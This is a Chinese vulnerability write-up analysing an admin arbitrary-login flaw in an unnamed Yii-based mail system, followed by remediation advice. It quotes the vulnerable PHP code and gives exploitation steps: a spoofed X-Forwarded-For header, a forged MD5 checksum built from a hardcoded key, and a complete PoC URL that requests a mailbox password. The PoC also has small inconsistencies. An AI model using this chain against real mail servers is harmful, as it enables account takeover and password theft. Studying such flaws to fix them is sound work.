某邮件系统后台管理员任意登录分析
字数 1176 2025-08-10 00:24:04

某邮件系统后台管理员任意登录漏洞分析与利用

0x00 漏洞概述

本文详细分析某基于YII框架开发的邮件系统中存在的后台管理员任意登录漏洞。该漏洞源于系统模拟登录功能的设计缺陷,结合IP校验绕过和校验和构造问题,导致攻击者可以伪造身份登录系统后台。

0x01 YII框架路由基础

路由格式

YII框架支持两种URL构造格式:

  1. 默认格式/index.php?r=controller/action&param=value

    • 示例:/index.php?r=post/view&id=100
    • 路由为post/view,参数id为100
  2. 漂亮格式/index.php/controller/action/param/value

    • 示例:/index.php/post/100
    • 简化了URL结构

MVC模式访问

要访问API目录下的controller中的AbcController.phpadd()方法,可构造:

http://127.0.0.1/api/index.php?r=abc/add

0x02 漏洞分析

关键文件位置

  • 模拟登录方法:api/controllers/PostController.php中的mockLogin()
  • 验证方法:api/classes/ApiController.php中的checkServerTypeParams()

模拟登录流程分析

mockLogin()方法

public function mockLogin() {
    $language = $this->getParamFromRequest("language");
    $name = $this->getParamFromRequest('domain');
    
    if(isset($name) && isset($language)) {
        $username = "admin";
        
        // 语言参数校验
        if(!in_array($language, array("cn", "tw", "en"))) {
            $this->returnErrorCode(CommonCode::COMMON_PARAM_ERROR, array('{0}'=>'language'));
        }
        
        // 域名长度校验
        if(!ParameterChecker::checkLength($name, Constants::DOMAIN_NAME_MAX_LENGTH)) {
            $this->returnErrorCode(CommonCode::COMMON_DOMAIN_LENGTH_WRONG);
        }
        
        $domain = ServiceFactory::getDomainService()->getDomainByName(PunyCode::encode(strtolower($name)));
        if($domain == null) {
            $this->returnErrorCode(CommonCode::COMMON_DOMAIN_IS_NOT_EXISTS);
        }
        
        $domainName = PunyCode::encode($name);
        $password = (empty($domain)) ? "" : $domain["po_pwd"];
        $otime = time();
        $sysflag = 'sysmanage';
        
        // 构造校验和
        $checksum = md5($sysflag.$username.$domainName.$password.$language.time().Config::MONI_CHECKSUM_KEY);
        
        // 构造登录URL
        $url = "http://".ClientUtils::getHttpHost()."/post/post.php?r=site/analogLogin&sysflag=$sysflag&lan=$language&domain=$domainName&username=$username&checksum=$checksum&otime=$otime";
        header("location: $url");
    } else {
        $this->returnErrorCode(CommonCode::COMMON_PARAM_INCOMPLETE);
    }
}

验证流程分析

private function checkServerTypeParams() {
    // IP白名单校验
    if(!in_array(ClientUtils::getClientIP(), Config::getApiAllowUserIps())) {
        $this->returnErrorCode(CommonCode::COMMON_ILLEGAL_IP_SOURCE);
    }
    
    $id = $this->getParamFromRequest('id');
    $time = $this->getParamFromRequest('otime');
    
    // 时间参数校验
    if(!ParameterChecker::checkLength($time, 20)) {
        $this->returnErrorCode(CommonCode::COMMON_ILLEGAL_CHECK_PARAM);
    }
    if(!ParameterChecker::checkIsDate($time)) {
        $this->returnErrorCode(CommonCode::COMMON_ILLEGAL_CHECK_PARAM);
    }
    
    $checkSum = $this->getParamFromRequest('ochecksum');
    if(!ParameterChecker::checkLength($checkSum, 32)) {
        $this->returnErrorCode(CommonCode::COMMON_ILLEGAL_CHECK_PARAM);
    }
    
    // 校验和验证
    $md5String = md5($id.$time.Config::API_CHECKSUM_KEY);
    if($md5String != $checkSum) {
        $this->returnErrorCode(CommonCode::COMMON_ILLEGAL_CHECKSUM);
    }
}

关键漏洞点

  1. IP校验绕过

    • getApiAllowUserIps()方法检查X-Forwarded-For
    • 可通过伪造HTTP头绕过IP限制
  2. 校验和构造

    • ochecksum参数由idotimeAPI_CHECKSUM_KEY的MD5构成
    • API_CHECKSUM_KEY为硬编码值,可通过逆向获取
  3. 固定ID问题

    • 存在固定ID值cm用于模拟登录模式

0x03 漏洞利用

利用条件

  1. 获取系统的API_CHECKSUM_KEY(通过逆向或信息泄露)
  2. 能够发送HTTP请求并伪造X-Forwarded-For

利用步骤

  1. 构造有效的otime参数(如"2021-03-11")

  2. 计算校验和:

    $ochecksum = md5("cm" . "2021-03-11" . Config::API_CHECKSUM_KEY);
    

    示例结果:083d71127d5ad99f8907358db2c8320a

  3. 伪造X-Forwarded-For头以绕过IP检查

  4. 发送请求:

    http://mail.a.com/api/index.php?r=Mailbox/getPassword
    id=cm&
    otime=2021-03-11&
    ochecksum=083d71127d5ad99f8907358db2c8320a&
    language=cn&
    domain=a.com&
    mailbox=admin@a.com
    

完整POC

http://mail.a.com/api/index.php?r=Mailbox/getPasswordid=cm&otime=2021-03-11&ochecksum=083d71127d5ad99f8907358db2c8320a&language=cn&domain=a.com&mailbox=admin@a.com

0x04 修复建议

  1. 加强IP验证

    • 不要仅依赖X-Forwarded-For
    • 实现多层次的IP验证机制
  2. 改进校验和机制

    • 使用动态生成的密钥而非硬编码
    • 增加时效性验证(如时间戳有效期)
  3. 权限控制

    • 模拟登录功能应限制在特定环境使用
    • 增加二次验证机制
  4. 输入验证

    • 对所有输入参数进行严格验证
    • 实现CSRF防护机制
  5. 日志监控

    • 记录所有模拟登录尝试
    • 设置异常行为告警
某邮件系统后台管理员任意登录漏洞分析与利用 0x00 漏洞概述 本文详细分析某基于YII框架开发的邮件系统中存在的后台管理员任意登录漏洞。该漏洞源于系统模拟登录功能的设计缺陷,结合IP校验绕过和校验和构造问题,导致攻击者可以伪造身份登录系统后台。 0x01 YII框架路由基础 路由格式 YII框架支持两种URL构造格式: 默认格式 : /index.php?r=controller/action&param=value 示例: /index.php?r=post/view&id=100 路由为 post/view ,参数 id 为100 漂亮格式 : /index.php/controller/action/param/value 示例: /index.php/post/100 简化了URL结构 MVC模式访问 要访问API目录下的 controller 中的 AbcController.php 的 add() 方法,可构造: 0x02 漏洞分析 关键文件位置 模拟登录方法: api/controllers/PostController.php 中的 mockLogin() 验证方法: api/classes/ApiController.php 中的 checkServerTypeParams() 模拟登录流程分析 mockLogin()方法 验证流程分析 关键漏洞点 IP校验绕过 : getApiAllowUserIps() 方法检查 X-Forwarded-For 头 可通过伪造HTTP头绕过IP限制 校验和构造 : ochecksum 参数由 id 、 otime 和 API_CHECKSUM_KEY 的MD5构成 API_CHECKSUM_KEY 为硬编码值,可通过逆向获取 固定ID问题 : 存在固定ID值 cm 用于模拟登录模式 0x03 漏洞利用 利用条件 获取系统的 API_CHECKSUM_KEY (通过逆向或信息泄露) 能够发送HTTP请求并伪造 X-Forwarded-For 头 利用步骤 构造有效的 otime 参数(如"2021-03-11") 计算校验和: 示例结果: 083d71127d5ad99f8907358db2c8320a 伪造 X-Forwarded-For 头以绕过IP检查 发送请求: 完整POC 0x04 修复建议 加强IP验证 : 不要仅依赖 X-Forwarded-For 头 实现多层次的IP验证机制 改进校验和机制 : 使用动态生成的密钥而非硬编码 增加时效性验证(如时间戳有效期) 权限控制 : 模拟登录功能应限制在特定环境使用 增加二次验证机制 输入验证 : 对所有输入参数进行严格验证 实现CSRF防护机制 日志监控 : 记录所有模拟登录尝试 设置异常行为告警